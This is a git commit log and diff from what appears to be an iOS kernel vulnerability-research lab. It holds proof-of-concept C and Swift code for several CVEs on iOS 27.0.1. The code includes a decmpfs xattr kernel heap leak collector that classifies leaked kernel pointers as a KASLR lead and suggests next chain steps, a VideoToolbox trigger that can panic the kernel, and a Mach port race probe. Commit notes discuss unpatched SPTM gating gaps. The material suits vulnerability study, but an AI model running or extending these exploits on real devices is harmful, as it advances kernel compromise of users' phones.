18 Commits
Author SHA1 Message Date
JBJF fc17f7af7d docs: Cutter/rz-ghidra decompilation of the MTE gate and TLBI completion path 2026-11-01 01:52:30 +08:00
JBJF 7da28702a7 tools: ARM64 decompiler wrapper (Cutter/rizin/rz-ghidra, no Java) 2026-11-01 01:43:39 +08:00
JBJF 4ed0f0b304 SPTM: record IOGPU handler addresses and selector-recovery blocker 2026-10-31 17:58:43 +08:00
JBJF 1cab5b2428 SPTM: confirm IOGPU/IOUAT user path on final 27.2 v6x-pandia 2026-10-31 17:50:19 +08:00
JBJF 9d6c44de61 kernel diff: correct to the iPhone19,7 v6x-pandia kernelcache (304 fileset entries, v6x addresses) 2026-10-31 17:48:34 +08:00
JBJF c7d4043a8c SPTM: MTE SK tag-page check is a PA-range gate; alias mapping does not bypass it 2026-10-31 17:35:59 +08:00
JBJF 6bb476a534 kernel diff: candidate fix-site functions for sdl/mbuf/vm_map/framebank checks 2026-10-31 17:35:09 +08:00
JBJF 8a8efdf15d tools: sptm_gate.py verifies whether the TLBI verification gate exists in a device tree 2026-10-31 17:30:58 +08:00
JBJF bdb029bb37 SPTM: 27.2 TLBI verification is DeviceTree-gated and the gate is absent on iPhone19,7
- parser at 0xfffffff0270cbe18 sets the verify flag to 0 when
  /arm-io/sgx lacks verify-gmmu-tlbis-at-sync
- BuildManifest maps iPhone19,7 -> v64sap; that DT lacks the key, as do
  iBoot, AGX and the kernelcache; only SPTM contains the strings
- consequence: the GMMU TLBI completion window remains open on iPhone 27.2
  (fix-gating gap, not a new memory-safety bug)
2026-10-31 17:30:36 +08:00
JBJF 0288f2e3ae SPTM/MIE: hardware verification plans for GMMU TLBI race and tag-storage aliasing 2026-10-31 17:19:13 +08:00
JBJF f14f7df318 SPTM: function-level TLBI evidence (369 vs 264 insns, added completion wait) 2026-10-31 17:18:14 +08:00
JBJF 09a02858f6 SPTM/MIE deep dive: sptm.t8160 820.22 -> 820.40.24 (+64 KiB)
- docs/SPTM-MIE-27.2.md: separate SPTM firmware changed (kernel __DATA_SPTM
  is not the monitor); new DART GAPF race, GMMU TLBI verification, iommu
  refcount, Dekker locks, hibernation handoff/latch checks; TXM build-only;
  Exclave +229 KB; MIE SK tag-page check unchanged (210 insns, relocated)
- candidate directions: DART unganged-GAPF race, hibernation handoff page
  count, SK tag-page aliasing, dangling tag storage; no working bypass
- correct the earlier claim that SPTM was unchanged
- tools: fw_diff, string_xref, func_string_diff
2026-10-31 17:14:56 +08:00
JBJF 300d4805be docs: kernel CVE table — advisory impact vs binary evidence vs R/W potential 2026-10-31 17:10:40 +08:00
JBJF 6a77b43942 docs: complete iOS 27.2 advisory list (162 CVEs, 67 components) with binary candidates 2026-10-31 17:10:21 +08:00
JBJF 3ac5108928 iOS 27.2 kernel differential + NTL fix-boundary sweep
- docs/IOS27.2-KERNEL-DIFF.md: 27.0.1 vs 27.2 (iPhone19,7), 162 advisory
  CVEs, 93 size-changed kexts; confirmed fix sites for 112705 (NTL 0..7
  assertion), 113910 (produced vs expected chunk bytes), 112507 (ipr/table
  NULL checks in ipc_misc.c); __DATA_SPTM byte-identical, no PPL/SPTM/MIE
  code change or bypass fix
- tools/ipsw/: Range-based IPSW reader, IM4P/LZFSE + fileset parser, kext
  extractor, llvm-objdump diff, advisory mapper
- CVE-2026-112705: --sweep mode (0..12, no frame) in both POCs; app module
  now sweeps 0/1/7/8/64/1024/16462/16463
- app 2.3 build 7
2026-10-31 17:09:48 +08:00
JBJF 030df9a8b1 fix: register the arrivals group in the lab list
Catalog.groups is a hard-coded list and did not include the arrivals catalog,
so the five new modules (112705 probe/fire, 112621 probe/fire, 84636) and
kern.ipc.lifecycle were counted in Catalog.all but invisible in the POCs tab.
Add a localized 新收录 / New arrivals group at the top; simulator screenshot
confirms all six entries render. Build 6.
2026-10-31 16:06:28 +08:00
JBJF 6f4ed67c38 112507 reachability closed: notification registration refused (-300)
- New kern.ipc.lifecycle module: dead-name registration, dead-name send,
  notification receive, name reuse — single-threaded, safe on device
- Device receipt (iPhone19,7, iOS 27.0.1, ad-hoc signed): request DEAD_NAME
  returns -300 (MIG_TYPE_ERROR); send -> MACH_SEND_INVALID_DEST; receive
  times out; 0/12,288 registrations armed in kern.ipc
- macOS 27 sweep: 13 notification-type/right combinations, all -300
- kern.ipc now counts armed registrations and retracts the old 'survived'
  verdict when armed == 0; the request table is never armed
- docs/KERNEL-RW-ASSESSMENT.md: 112507 marked closed for this app
- app 2.2 build 5; 57 modules
2026-10-31 15:59:20 +08:00
JBJF c30aadf9bb kernel R/W assessment for the high/critical entries
- docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six
  kernel-reachable bugs supplies both address and value control; the chain
  requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry
- CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical
  pointer classification (kernel-text / kernel-data / kernel-other), --keep
  raw dump, --verbose; candidates are printed, never dereferenced
- 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset
  write without leak, honest negative); no blind writes
- README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)
2026-10-31 15:37:58 +08:00
28 changed files with 2043 additions and 85 deletions

No files matched your search

+24 -11
View File
@@ -17,7 +17,7 @@
// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ── // ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
typedef struct { typedef struct {
long operations, allocations, notifications, sends, deallocations; long operations, allocations, notifications, sends, deallocations, armed;
int budget_exhausted; int budget_exhausted;
long notifications_refused; long notifications_refused;
long budget; long budget;
@@ -50,10 +50,10 @@ static void record(kern_return_t kr) {
// //
// Resource discipline: mod_refs with a negative delta against a zero send-ref count // Resource discipline: mod_refs with a negative delta against a zero send-ref count
// does not return an error on this platform — it SIGKILLs the process. Check first. // does not return an error on this platform — it SIGKILLs the process. Check first.
typedef struct { long alloc, notify, send, dealloc; } ring_result; typedef struct { long alloc, notify, send, dealloc, armed; } ring_result;
static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) { static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
ring_result r = {0, 0, 0, 0}; ring_result r = {0, 0, 0, 0, 0};
mach_port_name_t ports[512]; mach_port_name_t ports[512];
int nports = 0; int nports = 0;
if (depth > 512) depth = 512; if (depth > 512) depth = 512;
@@ -79,9 +79,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
kern_return_t kr1 = mach_port_request_notification( kern_return_t kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev); (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
if (kr1 != KERN_SUCCESS) { if (kr1 == KERN_SUCCESS) {
r.armed++;
} else {
record(kr1); record(kr1);
if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++; (*refused)++;
} }
if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1); if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
r.notify++; r.notify++;
@@ -90,9 +92,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
kern_return_t kr2 = mach_port_request_notification( kern_return_t kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p, task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2); (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
if (kr2 != KERN_SUCCESS) { if (kr2 == KERN_SUCCESS) {
r.armed++;
} else {
record(kr2); record(kr2);
if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++; (*refused)++;
} }
if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1); if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
r.notify++; r.notify++;
@@ -159,7 +163,7 @@ static int g_depth = 48;
static void *worker(void *arg) { static void *worker(void *arg) {
(void)arg; (void)arg;
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0; long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0, local_armed = 0;
while (!past_deadline()) { while (!past_deadline()) {
pthread_mutex_lock(&S.lock); pthread_mutex_lock(&S.lock);
@@ -184,6 +188,7 @@ static void *worker(void *arg) {
local_notify += res.notify; local_notify += res.notify;
local_send += res.send; local_send += res.send;
local_dealloc += res.dealloc; local_dealloc += res.dealloc;
local_armed += res.armed;
local_ops += 4; local_ops += 4;
pthread_mutex_lock(&S.lock); pthread_mutex_lock(&S.lock);
@@ -197,6 +202,7 @@ static void *worker(void *arg) {
S.notifications += local_notify; S.notifications += local_notify;
S.sends += local_send; S.sends += local_send;
S.deallocations += local_dealloc; S.deallocations += local_dealloc;
S.armed += local_armed;
pthread_mutex_unlock(&S.lock); pthread_mutex_unlock(&S.lock);
return NULL; return NULL;
} }
@@ -246,8 +252,8 @@ int main(int argc, char **argv) {
for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL); for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL); for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n", printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld armed=%ld\n",
S.operations, S.allocations, S.notifications, S.sends, S.deallocations); S.operations, S.allocations, S.notifications, S.sends, S.deallocations, S.armed);
if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n"); if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
if (S.notifications_refused > 0) { if (S.notifications_refused > 0) {
printf("notifications refused %ld times — this platform does not allow notification\n" printf("notifications refused %ld times — this platform does not allow notification\n"
@@ -260,7 +266,14 @@ int main(int argc, char **argv) {
printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]); printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
} }
} }
printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n"); if (S.armed == 0 && S.notifications > 0) {
printf("notification registration never succeeded (-300, MIG type error).\n");
printf("the request-table path was never armed: this run is not a 112507 test.\n");
printf("CVE-2026-112507 · NOT REACHED from this process\n");
} else {
printf("CVE-2026-112507 · %ld registrations armed, survived the interleaving, "
"no request-table fault surfaced\n", S.armed);
}
pthread_mutex_destroy(&S.lock); pthread_mutex_destroy(&S.lock);
return 0; return 0;
} }
+4
View File
@@ -2,6 +2,10 @@
// ANE userspace entry point probe // ANE userspace entry point probe
// C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the // C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
// client/program/model/request entry points the CVE lives behind. // client/program/model/request entry points the CVE lives behind.
//
// Honest negative: the ANE kernel interface is not reachable from a third-party
// process, so this is a reachability map, not a primitive. No R/W is attempted.
// See docs/KERNEL-RW-ASSESSMENT.md.
// Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c // Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
// Run: ./cve-2026-112696 // Run: ./cve-2026-112696
+22
View File
@@ -8,9 +8,14 @@
// macOS runs the same driver: the encode is gated behind --force-host because it can // macOS runs the same driver: the encode is gated behind --force-host because it can
// panic the host kernel. // panic the host kernel.
// //
// Primitive limit: the write is a constant fill at a fixed offset. There is no
// address control and no value control, so this is a DoS primitive, not an
// arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md.
//
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \ // Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation // -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
// Run: ./cve-2026-112705 [layers] [--force-host] // Run: ./cve-2026-112705 [layers] [--force-host]
// ./cve-2026-112705 --sweep (property acceptance 0..12, no frame)
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@@ -50,8 +55,10 @@ static void print_readback(VTCompressionSessionRef s, const char *key) {
int main(int argc, char **argv) { int main(int argc, char **argv) {
int layers = 16463; int layers = 16463;
int force_host = 0; int force_host = 0;
int sweep = 0;
for (int i = 1; i < argc; i++) { for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--force-host") == 0) force_host = 1; if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
else if (strcmp(argv[i], "--sweep") == 0) sweep = 1;
else if (atoi(argv[i]) > 0) layers = atoi(argv[i]); else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
} }
@@ -72,6 +79,21 @@ int main(int argc, char **argv) {
set_prop(session, "RealTime", kCFBooleanFalse); set_prop(session, "RealTime", kCFBooleanFalse);
printf("EncoderUsage=%d RCMode=%d\n", su, sr); printf("EncoderUsage=%d RCMode=%d\n", su, sr);
if (sweep) {
// 27.2 clamps the property to 0..7 (the new assertion string is
// "iNumberOfTemporalLayers <= 7"); 27.0/27.0.1 accepts the whole range.
printf("sweep: NTL acceptance 0..12 (no frame submitted)\n");
for (int n = 0; n <= 12; n++) {
CFNumberRef nv = CFNumberCreate(NULL, kCFNumberIntType, &n);
int32_t st = set_prop(session, "NumberOfTemporalLayers", nv);
CFRelease(nv);
printf("NTL %2d: status=%d\n", n, st);
}
VTCompressionSessionInvalidate(session);
CFRelease(session);
return 0;
}
CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers); CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
int32_t sn = set_prop(session, "NumberOfTemporalLayers", n); int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
CFRelease(n); CFRelease(n);
+13
View File
@@ -11,6 +11,7 @@
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \ // Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo // -framework VideoToolbox -framework CoreMedia -framework CoreVideo
// Run: ./cve-2026-112705 [layers] [--force-host] default 16463 // Run: ./cve-2026-112705 [layers] [--force-host] default 16463
// ./cve-2026-112705 --sweep property acceptance 0..12, no frame
import Foundation import Foundation
import VideoToolbox import VideoToolbox
@@ -19,6 +20,7 @@ import CoreVideo
let args = CommandLine.arguments let args = CommandLine.arguments
let forceHost = args.contains("--force-host") let forceHost = args.contains("--force-host")
let sweep = args.contains("--sweep")
let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463 let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
func fourCC(_ v: OSStatus) -> String { func fourCC(_ v: OSStatus) -> String {
@@ -63,6 +65,17 @@ print("EncoderUsage=\(su) RCMode=\(sr)")
let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers)) let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))") print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
if sweep {
// 27.2 clamps to 0...7; 27.0/27.0.1 accepts the full range.
print("sweep: NTL acceptance 0...12 (no frame submitted)")
for n in 0...12 {
let st = set(s, "NumberOfTemporalLayers", NSNumber(value: n))
print("NTL \(n): status=\(st)")
}
VTCompressionSessionInvalidate(s)
exit(0)
}
if sn != 0 { if sn != 0 {
print("property refused — fixed build (27.2+) or a platform without the AVE2 property") print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
VTCompressionSessionInvalidate(s) VTCompressionSessionInvalidate(s)
+133 -44
View File
@@ -2,9 +2,14 @@
// Kernel heap disclosure through short-producing chunks // Kernel heap disclosure through short-producing chunks
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose // C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
// chunks produce fewer bytes than the chunk table promises, writes it onto a file, // chunks produce fewer bytes than the chunk table promises, writes it onto a file,
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000). // reads the file back and classifies every canonical kernel pointer in the result.
//
// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
// readback for offline analysis. Candidates are printed, never dereferenced.
//
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c // Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
// Run: ./cve-2026-113910 // Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce)
return out; return out;
} }
// ── trigger: xattr round trip + kernel-pointer scan ── // ── leak classification ──
// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
// Anything that looks like a tagged userspace pointer is reported separately; it is
// not a KASLR lead. Values are only ever printed.
enum ptr_class {
PTR_NONE = 0,
PTR_KERNEL_TEXT,
PTR_KERNEL_DATA,
PTR_KERNEL_OTHER,
PTR_USER,
};
static const char *class_name(int c) {
switch (c) {
case PTR_KERNEL_TEXT: return "kernel-text";
case PTR_KERNEL_DATA: return "kernel-data";
case PTR_KERNEL_OTHER: return "kernel-other";
case PTR_USER: return "user";
default: return "-";
}
}
static int classify(uint64_t v) {
if (v == 0) return PTR_NONE;
if ((v >> 48) == 0xffff) {
if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
return PTR_KERNEL_OTHER;
}
if ((v >> 48) == 0x0000) return PTR_USER;
return PTR_NONE;
}
typedef struct { typedef struct {
int wrote_xattr; int wrote_xattr;
long read_back; long read_back;
long hits; long hits;
char samples[8][32]; long by_class[5];
char samples[8][40];
int nsamples; int nsamples;
char note[128]; char note[128];
} decmpfs_result; } decmpfs_result;
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) { static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
if (r->nsamples >= 8) return;
snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
(unsigned long long)v, off, class_name(cls));
r->nsamples++;
}
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
FILE *keep, int verbose) {
decmpfs_result r = {0}; decmpfs_result r = {0};
// seed file: plain 0x41 content (the uncompressed claim)
unlink(path); unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644); int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) { if (fd >= 0) {
uint8_t zeros[4096]; uint8_t fill[4096];
memset(zeros, 0x41, sizeof zeros); memset(fill, 0x41, sizeof fill);
size_t left = uncompressed < 64 ? 64 : uncompressed; size_t left = uncompressed < 64 ? 64 : uncompressed;
while (left > 0) { while (left > 0) {
size_t take = left < sizeof zeros ? left : sizeof zeros; size_t take = left < sizeof fill ? left : sizeof fill;
if (write(fd, zeros, take) != (ssize_t)take) break; if (write(fd, fill, take) != (ssize_t)take) break;
left -= take; left -= take;
} }
close(fd); close(fd);
@@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
} }
r.wrote_xattr = 1; r.wrote_xattr = 1;
// read the file back: the kernel decompresses through AppleFSCompression
FILE *f = fopen(path, "rb"); FILE *f = fopen(path, "rb");
if (!f) { if (!f) {
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno); snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
@@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
fclose(f); fclose(f);
r.read_back = (long)back.n; r.read_back = (long)back.n;
// scan for kernel-space pointers in whatever the kernel handed back if (keep) {
if (back.n >= 8) { fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
for (size_t i = 0; i + 8 <= back.n; i += 8) { chunks, produce, uncompressed, back.n);
uint64_t v = 0; if (back.n) fwrite(back.d, 1, back.n, keep);
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k); fputc('\n', keep);
if (v >= 0xFFFFFFE000000000ULL) { }
r.hits++;
if (r.nsamples < 8) { // A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx", for (size_t i = 0; i + 8 <= back.n; i += 8) {
(unsigned long long)v, i); uint64_t v = 0;
r.nsamples++; for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
} int cls = classify(v);
} if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
r.hits++;
r.by_class[cls]++;
note_sample(&r, v, i, cls);
if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
} }
} }
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back); snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
@@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
return r; return r;
} }
int main(void) { int main(int argc, char **argv) {
const char *path = "decmpfs_probe.bin"; int loop = 1;
struct { int chunks; size_t produce; } configs[4] = { int verbose = 0;
{4, 65536}, {4, 4096}, {8, 1024}, {2, 1}, const char *keep_path = NULL;
}; for (int i = 1; i < argc; i++) {
long total_hits = 0; if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
}
if (loop < 1) loop = 1;
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[] = {
{1, 0}, {1, 1}, {2, 1}, {4, 1},
{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
};
const int ncfg = (int)(sizeof configs / sizeof configs[0]);
FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
if (keep) {
fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
}
long total_hits = 0;
long by_class[5] = {0};
long runs = 0;
printf("— baseline: what a plain file reads back —\n"); printf("— baseline: what a plain file reads back —\n");
{ {
unlink(path); unlink(path);
@@ -176,22 +246,41 @@ int main(void) {
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); } if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
} }
printf("\n— chunked xattr round trip —\n"); printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
for (int i = 0; i < 4; i++) { for (int l = 0; l < loop; l++) {
size_t uncompressed = (size_t)configs[i].chunks * 65536; for (int i = 0; i < ncfg; i++) {
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce); size_t uncompressed = (size_t)configs[i].chunks * 65536;
total_hits += r.hits; decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n", keep, verbose);
configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note); runs++;
if (r.nsamples > 0) { total_hits += r.hits;
printf(" candidates:"); for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]); if (r.hits > 0 || verbose) {
printf("\n"); printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
}
} }
} }
// Class totals are what matter here; the raw bytes are in --keep for offline work.
unlink(path); unlink(path);
printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found" if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
: "no kernel pointers surfaced (read was served plain)");
return 0; printf("\n== leak summary ==\n");
printf("runs=%ld hits=%ld\n", runs, total_hits);
printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
if (total_hits > 0) {
printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
printf("Next step is not a write: map which object owns the leaked slot, then check\n");
printf("whether the same chunk table can be pointed at that slot again.\n");
} else {
printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
}
printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
return total_hits > 0 ? 0 : 0;
} }
+5
View File
@@ -2,6 +2,11 @@
// HID event tree append entry point probe // HID event tree append entry point probe
// C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points // C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
// (create/append/serialize/type/vendor-defined) the unbounded append lives behind. // (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
//
// This file stops at symbol reachability and never appends an event: the bug is a
// fixed-offset write into a short heap allocation with no leak and no address
// control. Attempting it blind is a panic, not an experiment. See
// docs/KERNEL-RW-ASSESSMENT.md.
// Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c // Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
// Run: ./cve-2026-65385 // Run: ./cve-2026-65385
BIN
View File
Binary file not shown.
+10 -4
View File
@@ -2,7 +2,7 @@
[中文](README.zh-CN.md) [中文](README.zh-CN.md)
An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **56 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446). An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **57 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing. Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing.
@@ -131,15 +131,21 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator)
python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs) python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
``` ```
Device install: bundle id `com.jbjf.cinder27` (v2.1 build 4), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. Device install: bundle id `com.jbjf.cinder27` (v2.3 build 7), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
## Verification status ## Verification status
Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap. Full 57-module regression (simulator build): **51 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung. Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
